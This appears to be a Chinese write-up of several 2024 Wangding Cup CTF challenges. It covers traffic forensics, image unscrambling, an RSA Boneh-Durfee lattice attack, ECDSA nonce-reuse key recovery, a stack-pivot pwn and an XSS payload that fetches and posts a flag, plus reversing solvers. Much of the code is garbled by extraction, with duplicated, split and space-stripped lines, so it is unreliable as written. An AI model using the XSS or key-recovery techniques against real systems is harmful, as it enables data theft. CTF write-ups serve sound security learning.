发现是 有对用户进行认证的
https://www.cnblogs.com/stevensfollower/p/5556443.html https://dstest.info/DiaDict/Dictionary/ E-UTRAN-Cell-Global-Identity.html
通过这边文章学习 了解到MME 包含用户的 E-UTRAN 小区全局标识,用于标识用户设备注册的小区
然后转换MD5
基本都是 http流量!
完事了!
源IP就是flag
wdflag{39.168.5.60}
from PIL import Image from PIL import Image
from tqdm import tqdm from tqdm import tqdm
ddef peano(n): ef peano(n):
iif n == 0: f n == 0:
return [[0,0]] return [[0,0]]
else: else:
in_lst = peano(n - 1) in_lst = peano(n - 1)
lst = in_lst.copy() lst = in_lst.copy()
pX,py = lst[-1] px,py = lst[-1]
1st.extend([px - i[0],py +1+ i[1]] for i in in_1st) lst.extend([px - i[0], py + 1 + i[1]] for i in in_lst)
pX,py = lst[-1] px,py = lst[-1]
lst.extend([px+ i[0],py +1+ i[1]] for i in in_lst) lst.extend([px + i[0], py + 1 + i[1]] for i in in_lst)
pX,py = lst[-1] px,py = lst[-1]
1st.extend([px+1+i[0],py - i[1]] for i in in_lst) lst.extend([px + 1 + i[0], py - i[1]] for i in in_lst)
pX,py = lst[-1] px,py = lst[-1]
1st.extend([px - i[0],py - 1- i[1]] for i in in_1st) lst.extend([px - i[0], py - 1 - i[1]] for i in in_lst)
pX,py = 1st[-1] px,py = lst[-1]
1st.extend([px+ i[0],py - 1- i[1]] for i in in_1st) lst.extend([px + i[0], py - 1 - i[1]] for i in in_lst)
pX,py = lst[-1] px,py = lst[-1]
lst.extend([px+1+ i[0],py + i[1]] for i in in_lst) lst.extend([px + 1 + i[0], py + i[1]] for i in in_lst)
pX,py = lst[-1] px,py = lst[-1]
1st.extend([px - i[0],py +1+ i[1]] for i in in_lst) lst.extend([px - i[0], py + 1 + i[1]] for i in in_lst)
pX,py = lst[-1] px,py = lst[-1]
lst.extend([px + i[0],py +1+ i[1]] for i in in_lst) lst.extend([px + i[0], py + 1 + i[1]] for i in in_lst)
return lst return lst
oorder = peano(6) rder = peano(6)
img = Image.open(r"C:/Users/32259/Desktop/1.png") img = Image.open(r"C:/Users/32259/Desktop/1.png")
width, height = img.size width, height = img.size
bblock_width = width #//3 lock_width = width # // 3
bblock_height = height #//3 lock_height = height # // 3
nnew_image = Image.new("RGB",(width, height)) ew_image = Image.new("RGB", (width, height))
ffor i,(x,y)in tqdm(enumerate(order)): or i, (x, y) in tqdm(enumerate(order)):
# 根据列表顺序获取新的坐标 # 根据列表顺序获取新的坐标
new_x, new_y = iwidth,i// width new_x, new_y = i % width, i // width
# 获取原图像素 # 获取原图像素
pixel = img.getpixel((x, height - 1- y)) pixel = img.getpixel((x, height - 1 - y))
# 在新图像中放置像素 # 在新图像中放置像素
new_image.putpixel((new_x, new_y),pixel) new_image.putpixel((new_x, new_y), pixel)
new_image.save("2.jpg")
扫码即可拿到 flag! 码即可拿到 flag!
wdflag{b9367dd6-2d7e-4ef7-ba5c-270a6c6220cd} wdflag
from Crypto.Util.number import *
from secret import flag
p = getPrime(512)
q = getPrime(512)
n = p * q
d = getPrime(299)
e = inverse(d,(p-1)*(q-1))
m = bytes_to_long(flag)
c = pow(m,e,n)
hint1 = p >> (512-70)
hint2 = q >> (512-70)
print(f"n = {n}")
print(f"e = {e}")
print(f"c = {c}")
print(f"hint1 = {hint1}")
print(f"hint2 = {hint2}")
N =
7792098962384989974454443847666968593914582877890176002163674522450954902829115
e =
5096982200252668312258612035452080838344518429268921968752543831142461319452810
c =
6361192788712126742728630282837560993786643244027339533952027818651473964844491
hint1 = 957783660751837238209
hint2 = 630769766138604564173
d = 273486983514656372272363196330726240341974949282739408022261883311235239297
高位攻击
importtime
time.clock=time.time
debug=True
strict=False
helpful_only=True
dimension_min=7
defhelpful_vectors(BB, modulus):
nothelpful=0
foriiinrange(BB.dimensions()[0]):
ifBB[ii, ii] >=modulus:
nothelpful+=1
print(nothelpful, "/", BB.dimensions()[0], " vectors are not helpful")20
defmatrix_overview(BB, bound):
foriiinrange(BB.dimensions()[0]):
a= ('%02d '%ii)
forjjinrange(BB.dimensions()[1]):
a+='0'ifBB[ii, jj] ==0else'X'
ifBB.dimensions()[0] <60:
a+=' '
ifBB[ii, ii] >=bound:
a+='~'
defremove_unhelpful(BB, monomials, bound, current):
ifcurrent==-1orBB.dimensions()[0] <=dimension_min:
returnBB
foriiinrange(current, -1, -1):
ifBB[ii, ii] >=bound:
affected_vectors=0
affected_vector_index=0
forjjinrange(ii+1, BB.dimensions()[0]):
ifBB[jj, ii] !=0:
affected_vectors+=1
affected_vector_index=jj
ifaffected_vectors==0:
BB=BB.delete_columns([ii])
BB=BB.delete_rows([ii])
monomials.pop(ii)
BB=remove_unhelpful(BB, monomials, bound, ii-1)
returnBB
elifaffected_vectors==1:
affected_deeper=True
forkkinrange(affected_vector_index+1, BB.dimensions()[0])65
ifBB[kk, affected_vector_index] !=0:
affected_deeper=False
ifaffected_deeperandabs(bound-BB[affected_vector_index, a 70 bound-BB[ii, ii]):
BB=BB.delete_columns([affected_vector_index, ii])
BB=BB.delete_rows([affected_vector_index, ii])
monomials.pop(affected_vector_index)
monomials.pop(ii)
BB=remove_unhelpful(BB, monomials, bound, ii-1)
returnBB
returnBB
defboneh_durfee(pol, modulus, mm, tt, XX, YY):
PR.<u, x, y>=PolynomialRing(ZZ)
Q=PR.quotient(x*y+1-u)
polZ=Q(pol).lift()
UU=XX*YY+1
gg= []
forkkinrange(mm+1):
foriiinrange(mm-kk+1):
xshift=x^ii*modulus^ (mm-kk) *polZ(u, x, y) ^kk
gg.append(xshift)
gg.sort()
monomials= []
forpolynomialingg:
formonomialinpolynomial.monomials():
monomials.append(monomial)
monomials.sort()
forjjinrange(1, tt+1):
forkkinrange(floor(mm/tt) *jj, mm+1):
yshift=y^jj*polZ(u, x, y) ^kk*modulus^ (mm-kk)
yshift=Q(yshift).lift()
gg.append(yshift)
forjjinrange(1, tt+1):
forkkinrange(floor(mm/tt) *jj, mm+1):
monomials.append(u^kk*y^jj)
nn=len(monomials)
BB=Matrix(ZZ, nn)
foriiinrange(nn):
BB[ii, 0] =gg[ii](0, 0, 0)
forjjinrange(1, ii+1):
ifmonomials[jj] ingg[ii].monomials():
BB[ii, jj] =gg[ii].monomial_coefficient(monomials[jj]) *mono 130
ifhelpful_only:
BB=remove_unhelpful(BB, monomials, modulus^mm, nn-1)
nn=BB.dimensions()[0]
ifnn==0:
print("failure")
return0, 0
ifdebug:
helpful_vectors(BB, modulus^mm)
det=BB.det()
bound=modulus^ (mm*nn)
ifdet>=bound:
print("We do not have det < bound. Solutions might not be found.")
print("Try with highers m and t.")
ifdebug:
diff= (log(det) -log(bound)) /log(2)
print("size det(L) - size e^(m*n) = ", floor(diff))
ifstrict:
return-1, -1
else:
print("det(L) < e^(m*n) (good! If a solution exists < N^delta, it will 158
ifdebug:
matrix_overview(BB, modulus^mm)
ifdebug:
print("optimizing basis of the lattice via LLL, this can take a long t 166
BB=BB.LLL()
ifdebug:
print("LLL is done!")
ifdebug:
print("在格中寻找线性向量")
found_polynomials=False
forpol1_idxinrange(nn-1):
forpol2_idxinrange(pol1_idx+1, nn):
PR.<w,z>=PolynomialRing(ZZ)
pol1=pol2=0
forjjinrange(nn):
pol1+=monomials[jj](w*z+1, w, z) *BB[pol1_idx, jj] /mo 185 pol2+=monomials[jj](w*z+1, w, z) *BB[pol2_idx, jj] /mo 186
PR.<q>=PolynomialRing(ZZ)
rr=pol1.resultant(pol2)
ifrr.is_zero() orrr.monomials() == [1]:
continue
else:
print("found them, using vectors", pol1_idx, "and", pol2_idx)
found_polynomials=True break
iffound_polynomials:
break
ifnotfound_polynomials:
print("no independant vectors could be found. This should very rarely 202 return0, 0
rr=rr(q, q)
soly=rr.roots()
iflen(soly) ==0:
print("Your prediction (delta) is too small")
return0, 0
soly=soly[0][0]
ss=pol1(q, soly)
solx=ss.roots()[0][0]
returnsolx, soly
defexample():
start=time.clock()
size=512
length_N=2*size
ss=0
s=70
M=1
delta=299/1024
foriinrange(M):
N=
779209896238498997445444384766696859391458287789017600216367452245095490282911 231
e=
509698220025266831225861203545208083834451842926892196875254383114246131945281 232
c=
636119278871212674272863028283756099378664324402733953395202781865147396484449 233 hint1=957783660751837238209
hint2=630769766138604564173
m=7
t=round(((1-2*delta) *m))
Y=floor(N^ (1/2) /2^s)
forlinrange(int(hint1), int(hint1) +1):
print('nnn l=', l)
pM=l
p0=pM*2^ (size-s) +2^ (size-s) -1
q0=N/p0
qM=int(q0/2^ (size-s))
A=N+1-pM*2^ (size-s) -qM*2^ (size-s)
247
P.<x,y>=PolynomialRing(ZZ)
pol=1+x* (A+y)
ifdebug:
start_time=time.time()
solx, soly=boneh_durfee(pol, e, m, t, X, Y)
ifsolx>0:
ifFalse:
print("x:", solx)
print("y:", soly)
d_sol=int(pol(solx, soly) /e)
ss=ss+1
print("=== solution found ===")
print("p的为", l)
print("q的为", qM)
print("d=", d_sol)
ifdebug:
print("=== %s seconds ==="% (time.time() -start_time))274
print("ss=", ss)
end=time.clock()
print('Running time: %s Seconds'% (end-start))
if__name__=="__main__":
example()
第⼀层维吉尼亚加密,输入flag,密钥:WANGDINGCUP,过程: 对每个字母按照密钥进⾏ 移位加密,输出: 维吉尼亚密文
第⼆层:AES-CBC加密,输入:维吉尼亚密文
密钥: SHA256(ECDSA私钥dA),模式: CBC模式(带IV) ,过程: 对维吉尼亚密文进⾏填充和AES加密,输出: IV + AES密文,ECDSA签名(⽤于⽣ 成AES密钥) ,⽣成私钥dA,使⽤相同的k值对两个消息进⾏签名,输出签名参数: r1, s1, r2, s2, z1,z2,最终输出: AES加密后的⼗六进制字符串,ECDSA签名参数
即可:
from hashlib import sha256
from Crypto.Cipher import AES
import gmpy2
import binascii
from Crypto.Util.number import long_to_bytes
def solve_ecdsa():
n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
r = 76712729228617953759327460769502934288442352683563219334681162937413283
s1 = 6114271652253693100093388425827597445167297679952664822641724707629764
s2 = 1103253128446689936954875721802620933594303110986793774354322969480299
z1 = 9884214970874484542626550889454173168013708661892153544769350943326927
z2 = 7813616825863473652412034578910420832795199063498107245622262475795853 13 # 从两个签名恢复私钥 ,这⾥是最重要的⼀步
s1_inv = gmpy2.invert(s1, n)
s2_inv = gmpy2.invert(s2, n)
dA = ((z1 * s2 - z2 * s1) * gmpy2.invert(r * (s1 - s2), n)) % n
return int(dA)
def decrypt_victory(ciphertext, key):
key = key.upper()
key_length = len(key)
plaintext = '' 22
for i, char in enumerate(ciphertext):
if char.isalpha():
is_upper = char.isupper()
char = char.upper()
shift = ord(key[i % key_length]) - ord( 'A')
decrypted_char = chr((ord(char) - ord( 'A') - shift + 26) % 26 + ord
if not is_upper:
decrypted_char = decrypted_char.lower()
plaintext += decrypted_char
else:
plaintext += char
return plaintext
def main():
# 1. ⾸先恢复 ECDSA 私钥
dA = solve_ecdsa()
print(f"[+] Recovered private key: {dA}") 39
# 2. 使⽤私钥⽣成 AES 密钥
key = sha256(long_to_bytes(dA)).digest()
# 3. 解密 AES
data = binascii.unhexlify(
"12d5174f2548c179287c7a2ce98a60b20a2dea24611a10d05a8dda9e7bda5f00e260e0c75e62e
iv = data[:16]
enflag = data[16:]
cipher = AES.new(key, AES.MODE_CBC, iv)
flag = cipher.decrypt(enflag) 51 # 移除填充
last_byte = flag[-1]
if last_byte < AES.block_size:
flag = flag[:-last_byte]
try:
flag = flag.decode()
except:
flag = flag.decode( 'utf-8', errors= 'ignore')
print(f"[+] After AES decryption: {flag}") 60 # 4. 解密维吉尼亚
flag = decrypt_victory(flag, "WANGDINGCUP")
print(f"[+] Flag: {flag}")
if __name__ == "__main__":
main()
#最后把输出的转换成⼩写即可
检查登录是不是admin和密码admin123.如果是才能够接着执行到vuln,这里输出了bu的的地址,看到只溢出8个字节,明显是不够的。所以这里使用过栈迁移,0x58正好可以覆盖ebp返回地址和leave。因为有system和bin/sh,所以直接在buf中填充rop链就可以了
```js
<script>
fetch('/flag').then(response => response.text()).then(data =>
{ fetch('/content/68a58f4d322e7ce51a55c03ec8651839',{
headers:{'Content-Type' :'application/x-www-form-urlencoded'}, body:"content=123"%2bdata }) }) </script>
脚本如下!Xss的fetch,使用fetchAPI从服务器获取数据,然后将这些数据通过POST请求发送到包含hash的路径。
把payload写入文本框内,然后我们抓包,抓取更新包!
然后点击提交即可!
记得刷新!!!
是⼀个apk文件⽤jadx打开
找到⼀个这个但没发现什么有⽤的信息,想着这⼀块提取出来看看,先⽤APKIDE打开看看
会发现主要在这⼀块,⽤ida打开这⾥
在这⾥发现⼏个so文件,⽽且在其中⼀个发现了类似于SM4算法与标准的有⼀点不⼀样,解密的话找到密文与key
密文
之后直接解密即可,注意key的后半部分是反过来的
无壳,直接⽤ida打开,F5找到主函数
int fastcall main(int argc, const char **argv, const char **envp)
{
char v4[16]; // [rsp+0h] [rbp-240h] BYREF
char v5[48]; // [rsp+10h] [rbp-230h] BYREF 5 char v6[256]; // [rsp+40h] [rbp-200h] BYREF 6 char v7[16]; // [rsp+140h] [rbp-100h] BYREF 7 int64 v8[2]; // [rsp+150h] [rbp-F0h] BYREF 8 int64 v9[2]; // [rsp+160h] [rbp-E0h] BYREF 9 char v10[16]; // [rsp+170h] [rbp-D0h] BYREF 10 char v11[16]; // [rsp+180h] [rbp-C0h] BYREF 11 char v12[16]; // [rsp+190h] [rbp-B0h] BYREF 12 char s2[16]; // [rsp+1A0h] [rbp-A0h] BYREF 13 char s1[16]; // [rsp+1B0h] [rbp-90h] BYREF 14 char dest[16]; // [rsp+1C0h] [rbp-80h] BYREF 15 int64 v16; // [rsp+1D0h] [rbp-70h] BYREF 16 _BYTE v17[24]; // [rsp+1D8h] [rbp-68h] BYREF 17 char s[7]; // [rsp+1F0h] [rbp-50h] BYREF
_BYTE v19[41]; // [rsp+1F7h] [rbp-49h] BYREF 19 char *v20; // [rsp+220h] [rbp-20h]
const char *v21; // [rsp+228h] [rbp-18h]
int k; // [rsp+234h] [rbp-Ch]
int j; // [rsp+238h] [rbp-8h]
int i; // [rsp+23Ch] [rbp-4h] 24
printf("Enter the flag:");
if ( fgets(s, 41, stdin) )
s[strcspn(s, "n")] = 0;
if ( strlen(s) != 40 || strncmp(s, "wdflag{", 7uLL) || v19[32] != 125 )
return 1;
memcpy(dest, v19, 0x20uLL);
v17[8] = 0;
s2[0] = 114;
s2[1] = -54;
s2[2] = 112;
s2[3] = 106;
s2[4] = 106;
s2[5] = -60;
s2[6] = -62;
s2[7] = -54;
for ( i = 0; i <= 7; ++i )
s1[i] = 2 * dest[i];
if ( memcmp(s1, s2, 8uLL) )
return 1;
v21 = "XorrLord";
qmemcpy(v11, "`tK", 3);
v11[3] = 19;
v11[4] = 45;
v11[5] = 14;
v11[6] = 20;
v11[7] = 1;
for ( j = 8; j <= 15; ++j )
v12[j - 8] = dest[j] ^ v21[j - 8];
if ( memcmp(v12, v11, 8uLL) )
return 1;
base64_encode((__int64)&v16, 8uLL, (__int64)v10);
v20 = "QYGyBYKyA2K";
if ( strcmp(v10, "QYGyBYKyA2K") )
return 1;
qmemcpy(v9, "AesMasterAesMast", sizeof(v9));
v8[0] = 0LL;
v8[1] = 0LL;
memcpy(v8, v17, 8uLL);
for ( k = 8; k <= 15; ++k ) 64 *((_BYTE *)v8 + k) = 8;
AES_set_encrypt_key((__int64)v9, 128LL, (__int64)v6);
AES_encrypt((__int64)v8, (__int64)v7, (__int64)v6);
hex_to_string((__int64)v7, 0x10uLL, (__int64)v5);
v4[0] = -67;
v4[1] = -11;
v4[2] = 89;
v4[3] = -122;
v4[4] = 57;
v4[5] = 68;
v4[6] = 52;
v4[7] = 96;
v4[8] = -120;
v4[9] = -15;
v4[10] = 109;
v4[11] = -60;
v4[12] = 25;
v4[13] = -33;
v4[14] = -125;
v4[15] = 6;
if ( memcmp(v7, v4, 0x10uLL) )
return 1;
puts("Correct Flag!");
return 0; 88 }
代码审计可得:主要把flag加密了4次
第⼀:乘以2,第⼆:异或,第三:base64换表加密,第四AES加密
解密只要从后往前加密即可
from Crypto.Cipher import AES
def solve_part1(s2):
# 处理负数 ,转换为无符号字节 ,不处理会导致数据出问题
s1 = [(x + 256 if x < 0 else x) for x in s2]
dest = []
for i in range(8):
dest.append(s1[i] // 2)
return dest
def solve_part2(v11):
v21 = b"XorrLord"
dest = []
for i in range(8):
dest.append(v11[i] ^ v21[i])
return dest
def solve_part3(base64_str): 16 # ⾃定义 base64 解码
base64_table =
"CDEFGHIJKLMNOPQRSTUVWXYZABabcdefghijklmnopqrstuvwxyz0123456789+/"
# 将输入转换为⼆进制
bits = ''
for c in base64_str:
val = base64_table.index(c)
bits += format(val, '06b') 23 # 每8位转换为⼀个字节
result = []
for i in range(0, len(bits), 8):
if i + 8 <= len(bits):
byte = int(bits[i:i + 8], 2)
result.append(byte)
return result 30
def solve_part4(v4): 32 # 处理负数
v4_bytes = bytes([(x + 256 if x < 0 else x) for x in v4])
key = b"AesMasterAesMast"
cipher = AES.new(key, AES.MODE_ECB)
decrypted = cipher.decrypt(v4_bytes)
return list(decrypted)
def main(): 39 # 已知条件
s2 = [114, -54, 112, 106, 106, -60, -62, -54]
v11 = [0x60, 0x09, 0x4B, 19, 45, 14, 20, 1]
base64_str = "QYGyBYKyA2K"
v4 = [-67, -11, 89, -122, 57, 68, 52, 96, -120, -15, 109, -60, 25, -33, -125, 6]
# 解第—部分
part1 = solve_part1(s2)
# 解第⼆部分
part2 = solve_part2(v11) 49 # 解第三部分
part3 = solve_part3(base64_str) 51 # 解第四部分
part4 = solve_part4(v4) 53 # 组合flag
flag = bytearray(40)
flag[0:7] = b"wdflag{"
flag[7:15] = bytes(part1)
flag[15:23] = bytes(part2)
flag[23:31] = bytes(part3)
flag[31:39] = bytes(part4[:8])
flag[39] = ord( '}') 61
print("Flag:", flag.decode(errors= 'ignore')) 63
if __name__ == "__main__":
main()
更多资源,敬请关注ZeroPointZero安全团队
注:ZeroPointZero安全团队有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
原文始发于微信公众号(ZeroPointZero安全团队):2024网鼎杯青龙组WriteUP
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论